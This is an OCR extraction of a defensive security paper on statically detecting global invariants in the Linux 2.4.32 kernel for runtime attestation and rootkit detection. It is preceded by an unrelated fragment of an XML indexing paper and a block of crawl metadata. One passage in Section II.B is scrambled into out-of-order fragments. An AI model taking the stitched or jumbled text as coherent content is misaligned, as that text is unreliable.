At the heart of both our native and relational approaches is the data structure introduced in Section 2 called the key index. Compared with other XML index structures [25, 26, 27, 28], the index captures both the structure and the content information of the data. A query evaluator can therefore use this index together with information about path restriction and value conditions to optimize queries on keys. The preliminary results shows that our index gives better performance than that of [28] for key look-ups in XML. Similar as the approach of key look-ups, our validator can efficiently enforce the foreign-key constraint (the XML Schema countpart is keyref) in bulk loading as well as incremental maintenance.
In future work we plan to explore its use for more general queries. For example, for high frequency queries we could build a set of indexes which match the queries and can be used to efficiently retrieve the query result. For lower frequency queries, we can see if the key and high frequency query indexes match a portion of the query.
References
|
{"Source-Url": "http://repository.upenn.edu/cgi/viewcontent.cgi?article=1019&context=cis_reports", "len_cl100k_base": 9500, "olmocr-version": "0.1.50", "pdf-total-pages": 13, "total-fallback-pages": 0, "total-input-tokens": 42598, "total-output-tokens": 11704, "length": "2e13", "weborganizer": {"__label__adult": 0.0003745555877685547, "__label__art_design": 0.0004978179931640625, "__label__crime_law": 0.0004780292510986328, "__label__education_jobs": 0.00215911865234375, "__label__entertainment": 0.00011593103408813477, "__label__fashion_beauty": 0.00022852420806884768, "__label__finance_business": 0.0006146430969238281, "__label__food_dining": 0.0003807544708251953, "__label__games": 0.0004730224609375, "__label__hardware": 0.0010013580322265625, "__label__health": 0.0008573532104492188, "__label__history": 0.00045609474182128906, "__label__home_hobbies": 0.00013697147369384766, "__label__industrial": 0.0005960464477539062, "__label__literature": 0.0006551742553710938, "__label__politics": 0.0003345012664794922, "__label__religion": 0.0006036758422851562, "__label__science_tech": 0.224853515625, "__label__social_life": 0.0001852512359619141, "__label__software": 0.0265960693359375, "__label__software_dev": 0.7373046875, "__label__sports_fitness": 0.0002541542053222656, "__label__transportation": 0.0006108283996582031, "__label__travel": 0.0002353191375732422}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 46518, 0.03161]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 46518, 0.53989]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 46518, 0.89171]], "google_gemma-3-12b-it_contains_pii": [[0, 435, false], [435, 2005, null], [2005, 5341, null], [5341, 11291, null], [11291, 16881, null], [16881, 19787, null], [19787, 23354, null], [23354, 27961, null], [27961, 29332, null], [29332, 34655, null], [34655, 39852, null], [39852, 44639, null], [44639, 46518, null]], "google_gemma-3-12b-it_is_public_document": [[0, 435, true], [435, 2005, null], [2005, 5341, null], [5341, 11291, null], [11291, 16881, null], [16881, 19787, null], [19787, 23354, null], [23354, 27961, null], [27961, 29332, null], [29332, 34655, null], [34655, 39852, null], [39852, 44639, null], [44639, 46518, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 46518, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 46518, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 46518, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 46518, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 46518, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 46518, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 46518, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 46518, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 46518, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 46518, null]], "pdf_page_numbers": [[0, 435, 1], [435, 2005, 2], [2005, 5341, 3], [5341, 11291, 4], [11291, 16881, 5], [16881, 19787, 6], [19787, 23354, 7], [23354, 27961, 8], [27961, 29332, 9], [29332, 34655, 10], [34655, 39852, 11], [39852, 44639, 12], [44639, 46518, 13]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 46518, 0.03302]]}
|
olmocr_science_pdfs
|
2024-12-01
|
2024-12-01
|
4285cc3c74a01ab86e5d514be1277d24b51c9a09
|
Abstract—The recent interest in runtime attestation requires modeling of a program’s runtime behavior to formulate its integrity properties. In this paper, we study the possibility of employing static source code analysis to derive integrity models of a commodity operating systems kernel. We develop a precise and static analysis-based global invariant detection tool that overcomes several technical challenges: field-sensitivity, array-sensitivity, pointer analysis, and handling of assembly code. We apply our tool to Linux kernel 2.4.32 and identify 141,279 global invariants that are critical to its runtime integrity. Furthermore, comparison with the result of a dynamic invariant detector reveals 17,182 variables that can cause false alarms for the dynamic detector. Our experience suggests that static analysis is a viable option for automated integrity property derivation, and it can have very low false positive rate (1 out of 141,280 in our Linux kernel case study) and very low false negative rate (about 0.013%).
Keywords—integrity modeling; invariants detection; static analysis; tools
I. INTRODUCTION
In a cooperative environment, trust among the participating computer systems is vital to the correct functioning of the entire system. However, the widespread exploitations of software vulnerabilities (e.g., buffer overflows) and security breaches undermine the trustworthiness of computer systems in a collaborate environment and thus may put other participating systems at great risk. Therefore, technologies are needed to gauge the trustworthiness of a running computer in a collaborate environment.
Remote attestation is a promising technique that enables a computer system in a cooperative environment to decide whether a target computer (in the same environment) has integrity, e.g., whether it has the appropriate configuration and hardware/software stack, so it can be trusted. The idea of remote attestation has been widely accepted. For example, the trusted platform modules (TPM) [29] chip has become a standard component on modern computers.
Early remote attestation techniques only ensure that a computer is bootstrapped from trusted hardware and software (e.g., operating systems and libraries), but there has been a consensus in recent years that such static attestation is not enough [18, 20]. This is because runtime attacks such as buffer overflow attacks can invalidate the result of static attestation during the execution of the target system, so a remote challenger cannot gain high confidence in a target system even if it is statically attested [18]. In order to regain high confidence, we must enhance traditional remote attestation with runtime attestation, or runtime integrity checking.
One of the fundamental challenges for runtime attestation is the attestation criteria, i.e., the expected integrity properties, of the target system. Other than a few static program states (e.g., code segments and constant data), most of the runtime state space of a system (normal variables, stack, and heap) cannot be trivially characterized. This uncertainty about the criteria results in two classic attestation errors: false positives and false negatives. False positives happen when the remote challenger endorses an overly stringent criterion that a normal (uncompromised) system fails to meet; and false negatives happen when the challenger endorses an overly loose criterion that a compromised system can also meet (i.e., the remote challenger ends up trusting a corrupted computer). It is obvious that both kinds of errors are undesirable for remote attestation.
The root cause for the attestation errors discussed above is the lack of precise specifications of expected integrity properties. While under-specification can reduce the rate of false positives by lowering the bar for a target system, it allows a compromised system to obtain trust. On the other hand, over-specification ensures that no compromised system can pass the integrity check, but it may also raise too many false alarms.
Since the integrity properties are attributes of the target system, a precise specification demands a thorough analysis of the target system. Several kinds of approaches have been taken to analyze a target system for its integrity properties. Manual analysis relies on domain expertise to specify and prove the correctness of integrity properties. It is applicable to well-known properties such as the immutability of the Interrupt Descriptor Table (IDT), but it is not scalable to complex software such as the Linux kernel. Therefore, automated tools are much needed to assist a human expert. Dynamic analysis tools such as Gibraltar [7] and ReDAS [18] infer likely integrity properties (called invariants) of a system by reading the runtime states (e.g., memory snapshots that contain program variables) of the target system and hypothesizing...
whether some variables satisfy predefined invariant relationships. One example relationship is that a variable \( v \) must always have a constant value \( k \) at runtime. However, a well-known drawback of dynamic analysis is its inability to explore all possible program execution paths. As a result, dynamic analysis may generate false invariants. For example, Gibraltar generates about 4,673 false invariants for Linux kernel 2.4.20 [7]. A typical solution to overcome such shortcomings is to use a large set of test cases. For example, ReDAS created 70 training scenarios and 13,000 training sessions for the \texttt{ghttpd} server. However, how to systematically generate a large number of test cases that can trigger all execution paths in a program remains a challenging research problem in general.
In this paper, we explore the application of static analysis for finding integrity properties. The basic idea is to use compiler technology to analyze the behavior of a program to derive its integrity properties, without actually running the program. Static analysis can overcome the limitations of dynamic analysis by exploring all execution paths. For example, if \( v = v + 2 \) is found in the \textit{true} or \textit{false} branch of a conditional statement in the target program, then the property that "variable \( v \) always has a constant value at runtime" is likely \textit{false}. However, a dynamic analysis tool will not be able to observe this assignment if the test cases do not satisfy the condition for the assignment; as a result, a dynamic analysis tool may conclude that \( v \) is an invariant. Since static analysis has the source code of the program, it has the advantage to reveal all conditions for assignments to a variable, so it can be more precise.
Specifically, we focus on the static detection of one class of integrity properties called \textit{global invariants}. Global invariants are code or data that has constant value at runtime. They can represent critical system integrity properties such as the immutability of the Interrupt Descriptor Table (IDT) and the system call table. Therefore, they have been checked by state-of-the-art integrity monitors [7, 18].
Our first contribution is a program analysis tool that can automatically derive global invariants from source code, using static analysis. Our tool applies compiler technology to analyze the control and data flows (e.g., assignments and function calls) of a target program and reason about the global variables that are invariants. In developing this tool, we have overcome several challenges in large-scale C program analysis, such as field-sensitivity, array-sensitivity, pointer analysis, and handling of assembly code.
Our second contribution is a thorough study of global invariants detection for the Linux kernel using \textit{static analysis}. To the best of our knowledge, there has not been a similar study. Linux kernel is a very complex piece of software posing great challenges for static analysis by its wide use of pointers and complex structures. Our tool is able to process 400,492 lines of Linux kernel (version 2.4.32) code and identify 141,279 global invariants essential to the Linux kernel’s runtime integrity. More importantly, by comparing with the results of a dynamic invariant analyzer, we find 17,182 variables that can cause false alarms for the dynamic analyzer, while our static tool only misses 18 true invariants (with false negative rate 0.013%). We also develop an invariant monitor based on the result of the static analysis and the runtime evaluation of the monitor finds only one false invariant. Our experience suggests that static analysis is a viable option for automated integrity property derivation, and it can potentially have very low false positive and false negative rates.
The rest of the paper is organized as follows. Section II discusses the modeling of global invariants as an important class of integrity properties. Section III presents an automated global invariants detection tool based on static analysis of source code. Section IV discusses a thorough evaluation of our invariant detection tool by applying it to the Linux kernel. Section V discusses related work, and Section VI concludes the paper.
II. BACKGROUND ON GLOBAL INVARIANTS
In this section, we first discuss the basics of integrity measurement and our assumptions; then we formally define \textit{global invariants} as a class of integrity property.
A. Background on Integrity Measurement and Security Assumptions
An integrity measurement system typically consists of three components: the target system, the measurement agent, and the decision maker [20]. Our first assumption is that the measurement agent is isolated from and independent of the target system, therefore it has a true view of the internal states (including code and data) of the target system. This is a realistic assumption due to the popularity of virtual machine monitors [9] and machine emulators such as QEMU [10], and it has also been shown that the measurement agent can run on dedicated hardware such as a PCI card [22]. Our second assumption is that measurement results are securely stored and transferred to the decision maker. This can be supported by hardware such as a Trusted Platform Module (TPM) [29]. The third assumption is that the target system’s states (e.g., code and data) may be compromised by a powerful adversary who can make arbitrary modifications; therefore the decision maker can rely on very few assumptions about the trustworthiness of the target system.
Based on these assumptions, the decision maker is given a true view of the target system, and its task is to estimate the "healthiness" of the target system. The healthiness include functional correctness (e.g., a function that is supposed to reduce the priority level of a task is not modified to actually increase the priority level), and non-functional correctness (e.g., the priority level can be modified by a privileged user instead of a normal user). In the following subsections, we model the healthiness as integrity properties.
Moreover, the healthiness of the target system may change over time, because it may be under constant attacks. Therefore, the integrity of the target system may need to be periodically reevaluated.
B. Definition of Global Invariants
In theory, any software system can be modeled as an automaton with states and state transitions. For simplicity of
transitions from the system (assuming that there is a sequence of state variable "system shutting down". I.e., it stipulates that the value of with the operators each of them can be generalized to be a Boolean expression Different runtime properties may have different structures, but presentation, we assume that the system can be in one of n possible states: \( s_1, s_2, ..., s_n \). Example states are initialization, entering a function, returning from a function, system termination, and so on. And each state is characterized by a particular combination of values of the system’s internal variables. Based on this general formalization, we can model runtime software integrity as a set of properties \( \{ P_1(s), P_2(s), ..., P_m(s) \} \). A runtime property \( P_i(s) \) is a function on state \( s \) that evaluates to true or false. If a system state \( s \) satisfies all \( P_i \)'s, we can say that \( s \) is a "healthy" state. Different runtime properties may have different structures, but each of them can be generalized to be a Boolean expression with the operators \& (and), \lor (or), and \neg (not). More complex properties can be constructed out of primitive properties using the operators mentioned above. A primitive property has the form \( \text{func}(v_1(s), v_2(s), ..., v_i(s)) \) which takes variables \( v_1(s), v_2(s), ..., v_i(s) \) and returns true or false (\( v(s) \) is the value of \( v \) in state \( s \)). \text{func} can have arithmetic operations inside as well as relationship operations such as =, \neq, <, and >.
One special class of primitive property has the form: \( v(t) = k, t \in \{ s_1, s_2 \} \), where \( s_1 \) = "system initialized" and \( s_2 \) = "system shutting down". I.e., it stipulates that the value of variable \( v \) must be a known-good value \( k \) during the runtime of the system (assuming that there is a sequence of state transitions from \( s_1 \) to \( s_2 \)). We call such a primitive property a global invariant.
C. Relevance in Integrity Protection
Global invariants represent an important class of integrity properties. They may include critical internal control data of the system (e.g., function addresses) that are supposed to remain constant. Examples of such invariants include the Interrupt Descriptor Table (IDT). Another type of global invariants hold security policy data, and the violation of such invariants can directly defeat the corresponding security measures. For example, by tampering with the list of "bad" IP addresses, the attacker can defeat a blacklist-based IDS.
Because of the importance of global invariants to integrity properties, they have been the popular targets for attack by rootkits such as SucKIT, Hacker defender, Turtle rootkit, enyelkm-1.3, Phalanx, AFX, NTIllusion, HE4Hook, and Vanquish. Common examples of such attacked invariants include system call table, System Service Descriptor Table, SYSENTER handler function, Interrupt Descriptor Table (IDT), NDIS handlers, and Interrupt Request Packet (IRP) handlers. It is interesting to note that over the years, the list of such invariants grows as the rootkits attempted to evade rootkit detectors that tried to catch up. The general trend of such growth is towards more sophistication and stealth [8]. On the other hand, global invariants are the basis for many rootkit detection systems such as ReDAS [18], Copilot [22], Livewire [14], and several commercial tools (e.g., [1, 2, 3, and 31]). The fact that such invariants are not supposed to change makes it easier to check their integrity; for example, many rootkit detectors use a clean copy or hash value of a global invariant variable as the baseline to tell whether it has been tampered with by a rootkit.
D. Existing Solutions
Several kinds of approaches have been taken to analyze a target system for global invariants. Manual analysis relies on domain expertise to specify and prove the correctness of integrity properties. It is applicable to well-known properties such as the immutability of the Interrupt Descriptor Table (IDT), but it is not sustainable to counter novel attacks that move their targets to less-known places such as device driver jump tables. Eventually, manual analysis will reach a point where a human expert has difficulty understanding the logic of a system, which calls for automated tools to assist a human expert. Dynamic analysis tools such as Gibraltar [7] and ReDAS [18] infer likely global invariants of a system by reading the runtime states (e.g., memory snapshots that contain program variables) of the target system and hypothesizing whether some variables have constant values at runtime. One well-known drawback of dynamic analysis is its inability to explore all possible program execution paths. As a result, dynamic analysis may generate false invariants. Typical solution to overcome such shortcomings is to use a large set of test cases. For example, ReDAS [18] created 70 training scenarios and 13,000 training sessions for the ghtpd server. However, how to systematically generate a large number of test cases that can trigger all execution paths in a program is a challenging and open research problem by itself.
III. AUTOMATED INFERENCE OF GLOBAL INVARIANTS THROUGH STATIC ANALYSIS
A. Overview
We have developed a static analysis-based system to detect global invariants for commodity operating systems kernels. Fig. 1 shows the overall architecture. We apply compiler technology to automatically analyze the control and data flows of a target kernel, e.g., assignments and function calls, to reason about the global variables that are invariants. Assignment recognition supports or rejects the hypothesis that a variable is an invariant, e.g., if a variable is assigned multiple times with different values, it is unlikely a global invariant.
Our system recognizes two kinds of assignments: direct assignment and indirect assignment. Direct assignment recognition is straightforward. Indirect assignment is mainly made through pointers in a modern kernel implemented in the

As we discussed in Section I, both kinds of errors are i.e., how to minimize false positive rate and false negative rate.
Our system accepts the merged kernel source code as input, which is fed into the Pointer Analyzer and the Invariant Analyzer. The Pointer Analyzer processes the kernel code and generates the points-to graph, which records the points-to set (i.e., a set of variables) of any pointer variable. The Invariant Analyzer scans the kernel source code including variable declarations and kernel functions. Its major task is to recognize assignment statements, either direct ones or indirect ones. When it scans an indirect assignment statement such as \( p = v \), it queries the points-to graph generated by the Pointer Analyzer and gets the set of kernel variables that can be pointed to by \( p \), and notes that all such variables are assigned once by this statement. Internally, the Invariant Analyzer has two functional components: assignment recognition (Section III.C) and invariant recognition (Section III.D).
The output of our system is a report of invariant classification for all global variables in the input kernel. For variables that are not considered invariant, we also report the reason for that decision, e.g., the related assignment statement(s). We have made a sample of such a report available on our web site [34]. Another output of our system is the source code for an Invariant Monitor that can be installed in the analyzed system as a kernel module to monitor the invariants detected. More details of the Invariant Monitor are presented in Section IV.C.1.
B. Design Goals
The major goal for our invariant analysis is high precision, i.e., how to minimize false positive rate and false negative rate. As we discussed in Section I, both kinds of errors are undesirable for remote attestation. Below we discuss the technical challenges in both cases and our solutions, under the context of static analysis of C like programming languages.
The major reasons for false negatives are a lack of fine-granularity and imprecise pointer analysis. If the static analyzer is field-insensitive, e.g., it cannot differentiate individual fields in a C structure, it will regard an assignment to any field of a structure as an assignment to the entire structure; thus the entire structure may become a non-invariant. This means that even if some fields of that structure are invariant and hold critical data such as function pointers, they cannot be protected. This lack of precision obviously causes false negatives. Similarly, lack of support for array sensitivity, i.e., being unable to differentiate individual elements in an array, is another cause for false negatives. From our experience, in a modern kernel such as the Linux kernel, the majority of global data is within some structure or array, which means that a static analyzer that is field and array-insensitive is almost useless. Therefore, our invariant analyzer must be field and array-sensitive (Sections III.C.1 and III.C.2). Another cause of false negatives is the conservativeness of pointer analysis algorithms. If the pointer analysis algorithm is too conservative, e.g., a pointer can point to all global variables, the invariant analyzer would recognize many bogus (or impossible) assignments, and consider a global invariant as a non-invariant as a result. Therefore, we need to develop a precise pointer analysis algorithm. We employ a precise points-to algorithm in our design (Section III.C.3).
The major reason for false positives (i.e., fake invariants) is a failure to recognize legitimate assignments. This can be caused by two reasons: implicit assignments and incomplete points-to analysis. One kind of implicit assignment is assignment by assembly code: since our static analyzer does not understand assembly code, it cannot capture such assignments. Another example of implicit assignment is structure-level assignment: if variables foo and bar are defined as struct(int a; int b) foo, bar; then the assignment foo = bar implicitly modifies both foo.a and foo.b. Another cause of missing assignment recognition is related to the precision of points-to analysis: if it returns an incomplete points-to set for a pointer, the analyzer may miss legal but indirect updates to some variables through that pointer; as a result, the analyzer may mistakenly classify those variables as invariants. In order to capture implicit assignments, we apply heuristics in our analyzer (Sections III.C.5, III.C.4, and III.C.1). In order to avoid incomplete pointer analysis, we employ a precise points-to analysis algorithm (Section III.C.3).
C. Major Design Points of the Assignment Recognition
One component of our invariant analyzer identifies assignments to variables. For programs written in C, modifications to a variable occur in two forms: direct assignment and indirect assignment. In the former case, the said variable is the left hand side of an assignment statement (e.g., \( v = v + 3 \)). In the latter, the said variable is assigned indirectly through a pointer that references it (e.g., \( p = v \), \( *p = k + 3 \)). In order to capture the second case, the detector needs to first find out the points-to set of the pointer (via a points-to analysis [5]), and then note that each target in the points-to set is assigned indirectly.
In the rest of this section, we discuss how our design satisfies our goals outlined in Section III.B.
1) Field Sensitivity
To achieve the desired field sensitivity, our analyzer uses lexical names to disambiguate structure field references (e.g., \( p->a \) is considered a different memory location from \( p->b \)), in a way similar to Wagner [30]. This enables our analyzer to capture explicit assignments to structure fields. Moreover, our analyzer treats structure level assignments as implicit assignments to the individual fields. For example, if variables foo and bar are defined as struct(int a; int b) foo, bar; then the assignment foo = bar; is translated into foo.a = bar.a; foo.b = bar.b.
2) Array Sensitivity
Array sensitivity is another method for our analyzer to achieve fine-granularity. The basic idea is to treat each element of an array as an independent variable. For example, the array int d[3] is treated as three variables d[0], d[1], and d[2]. Our analyzer can handle arrays of arbitrary dimension. Finally, our analyzer can recognize pointers into arrays. For example, if the analyzer sees int *p = d; it can interpret *(p + 1) as the same as d[1].
3) Pointer Analysis
Our invariant analyzer performs points-to analysis in order to recognize indirect assignments through pointers. Based on the analysis in Section III.B, we know that the accuracy of the points-to analysis algorithm is the key for reducing false positives and false negatives. Therefore, our pointer analyzer is based on the generalized one level flow (GOLF) algorithm [11], which is among the most precise pointer analysis algorithms, achieving precision close to Anderson’s algorithm [5]. Our pointer analyzer is built on top of the field-sensitivity (Section III.C.1) and array-sensitivity (Section III.C.2) capabilities to return fine-grained points-to targets. For example, it would return individual structure field foo.b instead of the entire structure foo. Finally, it can also contribute to field-sensitivity and array-sensitivity. For example, in struct(int a; int b)bar, if p’s points-to set includes bar, then an assignment to p->a is considered an indirect assignment to bar.a.
4) Union Support
Our analyzer also supports unions: each field of a union is treated as an alias of other fields in the same union. This means that an explicit assignment to one field of a union is an implicit assignment to all the other fields. Therefore, if one field of a union is not an invariant, other fields of the union are not invariants, either.
For example, in union uarg(int a; int b)c, c.a and c.b are treated as different variables; if c.a is not an invariant, c.b is not an invariant, either.
5) Heuristics-base Assignment Recognition
The use of assembly code in the kernel poses difficulties to our static analysis. Because our analyzer only recognizes C code, variable reads or writes by assembly code are not visible to it. One prominent example is get_current(), which returns a pointer to the task structure of the current process. Because this function uses assembly code, several chains of pointer dependency are broken, and our static analysis suffers inaccuracy as a result. To overcome these inaccuracies caused by assembly code, we apply a function prototype-based heuristic. The basic idea is to summarize the effect (in terms of assignments to the input parameters) of assembly code inside a function body to bridge the “analysis gap”. For example, the function memcpy() copies a block of memory to another block of memory, so it can change the target memory and thus should be treated as a kind of implicit assignment. This list of functions includes copy_from_user, memset, memcpy, spin_lock, read_lock, write_lock, down, up, clear_bit, set_bit and their variants. We identify this kind of functions in two steps: first, our static analysis reports all functions that contain assembly code in their bodies; second, we manually analyze the reported functions to see if any assignment is performed in the assembly code. For function get_current(), we assume it can return a pointer to the global variable init_task_union.task.
D. Invariant Recognition
The second component of our invariant analyzer recognizes global invariants based on the assignments to each variable.
Because the definition of global invariants only concerns the variables’ value after system initialization, we treat assignments during system initialization differently than those during normal execution of the system. Specifically, a global invariant can be assigned multiple possible values during initialization, as long as it is not assigned during normal execution. On the other hand, assignments at normal execution time typically indicate that a variable is not an invariant. Being assigned differently during system initialization is quite possible for some global invariants whose known-good values depend on hardware configuration; they can get several different values depending on the hardware features detected during system initialization.
In our design, each global variable is associated with a flag that indicates whether it is an invariant and a legal value list that contains its possible values. In the beginning, all global variables are marked as invariants and all legal value lists are empty.
Our invariant analyzer first scans global variable declarations and initialization functions (e.g., those with “_init” directives). If a global variable, which is marked as an invariant, is assigned a constant value, the analyzer adds this value into the variable’s legal value list. On the other hand, if a global variable is assigned a non-constant value, the analyzer marks it as a non-invariant.
After this scan, if a global variable’s legal value list is still empty, the analyzer adds a default value into the list, based on the type of the variable (e.g., 0 for an integer variable).
Next, the invariant analyzer scans the remaining kernel functions. If a global variable, which is marked as an invariant, is assigned a non-constant value, or a constant value but the value is not in its legal value list, the analyzer marks it as a non-invariant.
At the end of the kernel code scanning, our analyzer generates a report about the invariant status of all global variables, based on their flags. For those non-invariants, the report also includes the reason, e.g., the related assignment statement(s) in the kernel source code, for in-depth investigation by a human expert.
E. Implementation
We implement a static invariant detector based on the C Intermediate Language (CIL) [21]. Our pointer analyzer is implemented in 5,000 lines of Ocaml code, and our invariant analyzer is implemented in 3,500 lines of Ocaml code.
IV. Evaluation
In this section, we report a large-scale evaluation of our invariant detection tool, using Linux kernel 2.4.32 as the input kernel. Our evaluation mainly focuses on the precision of the detected invariants. We also briefly report performance of our detection tool at the end.
A. Metrics, Methodology, and Test Cases
We choose two common metrics to evaluate the precision of the detected global invariants for the Linux kernel:
...
• **False positives** happen when variables that can legally change their values are mistakenly recognized as invariants. A monitor can generate false alarms when such “fake” invariants change their values during normal execution.
• **False negatives** happen when a true invariant is not recognized as such. As a result of false negatives, a monitor may fail to detect rootkits that modify thus violate the true invariants. In other words, a rootkit can evade detection as a result of false negatives.
We measure the false positive and false negative rates of the static invariant detection in two ways: (1) comparing with the result of a dynamic invariant detector, and (2) running against real software (benign or malicious).
Table I shows the set of benign test programs that we ran. Worth noting among all the programs is the Linux Test Project (ltp version 2005), which includes more than 700 test cases that test the Linux kernel in many aspects (such as system calls and file system functionality), and more than 60 test cases that exercise the basic functionalities of the network.
We also tried to run rootkits in our test environment. Since the Linux kernel version that we analyzed is relatively old (2.4.32), most of the publicly available rootkits were not able to run on this kernel. In fact, we were able to run only the SucKIT 2 rootkit.
**B. Comparing with a Dynamic Invariant Detector**
We develop a dynamic invariant detector (as a loadable kernel module, or LKM) that periodically reads the values of the global variables of the kernel during a training phase and finally reports those variables whose values do not change during the training; these variables are the dynamically-detected invariants. In order to increase the accuracy of the result, we run the test programs in Table I to trigger modifications to the global variables.
Table II summarizes the invariant analysis results for the .data and the .rodata segments of Linux kernel 2.4.32. The second column is the total number of global variables (with field and array-sensitivity). The third column shows the number of statically-detected invariants out of all the variables, and the fourth column shows the number of dynamically-detected invariants out of all the variables.
**TABLE I.** TEST PROGRAMS USED IN THE EVALUATION
<table>
<thead>
<tr>
<th>Test program</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>ltp-2005</td>
<td>Linux Test Project: open source test suites that validate the reliability, robustness, and stability of Linux</td>
</tr>
<tr>
<td>Iperf [33]</td>
<td>A network testing tool that measures the throughput of a network, thus exercising the network subsystem of the kernel</td>
</tr>
<tr>
<td>Andrew benchmark</td>
<td>A file system benchmark</td>
</tr>
<tr>
<td>Miscellaneous</td>
<td>Kernel compilation, ssh, scp, common commands</td>
</tr>
</tbody>
</table>
From Table II we can see that both static and dynamic invariant detection achieve 100% accuracy on the .rodata segment, which is expected because variables in the .rodata segment are supposed to remain constant.
The dynamic invariant detector reports that 99.9% of the variables in the .data segment are invariant. This is not very surprising, because our test cases may not be able to trigger every possible update to a global variable, so there may be many false invariants in the dynamically-detected set. Comparatively, static analysis reports 88.7% of the variables in the .data segment as invariants.
Table III gives a more in-depth comparison of the results of the static and dynamic analyzers for the .data segment. We classify each global variable according to how the two kinds of analyzers think about its invariant status. Since each variable can be considered invariant or non-invariant by each of the analyzers, there are four combinations. For example, the category “S.NI, D.I” includes all variables that are considered non-invariant by the static analyzer but invariant by the dynamic analyzer.
We can see that there are in total 154 variables that both analyzers agree to be non-invariants. We are confident about the correctness of the results because the dynamic analyzer classifies a variable as non-invariant only if it observes that the value of the variable does change at runtime. Therefore, the non-invariants reported by the dynamic analyzer must be truly non-invariants.
Next, we see from Table III that 17,200 variables are classified as non-invariants by the static analyzer but invariants by the dynamic analyzer. Here we cannot trust the dynamic analyzer because it may not observe a legal but conditional assignment due to the incompleteness of the test cases, and we cannot trust the static analyzer, either, because its points-to analysis is conservative.
To find the ground truth about these 17,200 variables, we manually verify whether they are indeed non-invariants. This verification task seems daunting, but it is actually made much easier by the following facts about our static analyzer: (1) if a variable is directly modified, the assignment statement logged in the analysis report is straightforward evidence that the variable is a non-invariant; (2) if a variable is only indirectly modified through a pointer, our analyzer outputs the relevant statements from the source code that support the points-to relationship, which is relatively straightforward to verify by a
human (e.g., Fig. 2 is a portion of our analysis report that shows why `ctrl_map[2]` can be indirectly modified through the pointer variable `key_map`); (3) because our analysis is array sensitive, we can generalize from one confirmed non-invariant array element to all other elements in the same array. E.g., given an array `arr` of size 1024, if we confirm that `arr[0]` is a non-invariant due to an assignment to `arr[i]`, then we can conclude that `arr[1]` through `arr[1023]` are all non-invariants. In other words, we can confirm non-invariants in batches, which significantly speed up the verification. Because of the above reasons, it takes one graduate student about 20 hours to finish the verification of these 17,200 variables. As a result, we are able to confirm that 17,182 of such variables are non-invariants, i.e., they can be modified by assignments at runtime. Below we outline some examples:
- **struct kbdiacr accent_table[256]** stores the *accented* symbols (or characters) of the console keyboard and can be changed by an `ioctl` system call with a command `0x4B4B`, specifically, `copy_from_user(accent_table, a->kbdiacr, ct*sizeof(struct kbdiacr))` in drivers/char/vt.c. However, the dynamic invariant analyzer reports this entire array as invariants because our test cases do not make such an `ioctl` system call.
- The array `static char buf[1024]` in `panic.c` is used to hold kernel panic messages whenever `panic()` is called. Specifically, it is written into by `vsnprintf(buf, sizeof(buf), fmt, args)`. Therefore, this array is obviously not invariant. However, since our dynamic analysis test cases do not trigger a kernel crash, it cannot see any changes to `buf`; so it mistakenly concludes that the entire array `buf` is invariant.
- **Fig. 2** shows how `ctrl_map[2]` can be indirectly modified through a pointer.
Fig. 3 shows the distribution of the two kinds of evidence (direct assignment and indirect assignment) applicable to the 17,336 non-invariants confirmed (including the 154 non-invariants in the “SNI, DNI” category). We have merged the non-invariants recognized via heuristics (Section III.C.5) into the direct or indirect group depending on whether the address of the target variable is directly taken. Note that more than one kind of evidence may be applicable to a variable depending on how the kernel modifies it.
From Fig. 3 we can see that 76% (13,191 out of 17,336) of the confirmed non-invariants can be modified only indirectly through a pointer. This confirms the wide-scale use of pointers in the Linux kernel to manipulate memory and it also means that for any static invariant detector of the Linux kernel, the points-to analysis part is critical for the overall precision.
We further look at the type and meaning of the 17,182 confirmed non-invariants in the “SNI, D.I” group to see whether the classification makes sense. We coarse divide them into several categories, such as list heads, locks, accounting information (e.g., counters), auditing data, resource management information (e.g., page tables and memory zone lists), configuration data, and driver-specific data. Table IV shows example variables for each category.
From this analysis, we feel that the static analysis results make sense. For example, list heads, locks, and performance counters should be dynamic, so they should not be invariants. Unfortunately, our dynamic analyzer classifies this large group of non-invariants in the wrong way, due to the incompleteness of test cases. We believe that these 17,182 non-invariants highlight the relative advantage of static analysis over dynamic analysis.
The 18 false negatives in the “SNI, D.I” group are the fields of a global structure called `i810_fops` (e.g., `i810_fops.ioctl`, `i810_fops.read`, `i810_fops.write`, etc). For them, our static analyzer does not provide convincing evidence for the points-to relationship and our manual analysis indicates that they should be invariants. These false negatives illustrate the limitation of points-to analysis, which has been shown to be undecidable in general [16]. Given the total number of real invariants (141,297), our static analyzer has a false negative rate of 0.013% (18 out of 141,297).
Continue on Table III, we see that no variable is classified as invariants by the static analyzer but non-invariants by the dynamic analyzer. Such variables, if they exist, would be false positives for the static analyzer. The absence of such variables suggests that our static invariant detector has low false positive rate.
The last row of Table III shows that both analyzers believe that 136,778 kernel variables should be invariants. Since our static analyzer does not provide evidence for invariants, we cannot verify the correctness statically. Similarly, the dynamic analyzer does not provide evidence to prove invariants, either.
Therefore, we decide to experimentally verify the invariant results.
C. Experimental Evaluation
1) Implementation of the Invariant Monitor
